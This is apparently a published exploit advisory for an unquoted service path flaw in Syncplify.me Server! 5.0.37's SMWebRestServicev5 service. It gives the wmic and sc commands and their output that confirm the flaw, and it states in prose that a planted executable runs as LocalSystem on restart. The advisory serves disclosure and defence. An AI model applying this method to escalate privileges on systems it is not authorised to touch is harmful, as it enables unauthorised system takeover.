Syncplify.me Server! 5.0.37 - 'SMWebRestServicev5' Unquoted Service Path

# Exploit Title: Syncplify.me Server! 5.0.37 - 'SMWebRestServicev5' Unquoted Service Path
# Date: 2020-11-08
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.syncplify.me/
# Software Link: https://download.syncplify.me/SMServer_Setup.exe
# Version: 5.0.37
# Tested on: Windows 10 Pro x64 es 
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%SMWebRestServicev5%"' get displayname, pathname, startmode, startname

DisplayName                       PathName                                                          StartMode  StartName
Syncplify.me Web/REST Server! v5  C:\Program Files\Syncplify\Syncplify.me Server!\SMWebRestSvc.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "SMWebRestServicev5"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SMWebRestServicev5
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Syncplify\Syncplify.me Server!\SMWebRestSvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Syncplify.me Web/REST Server! v5
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.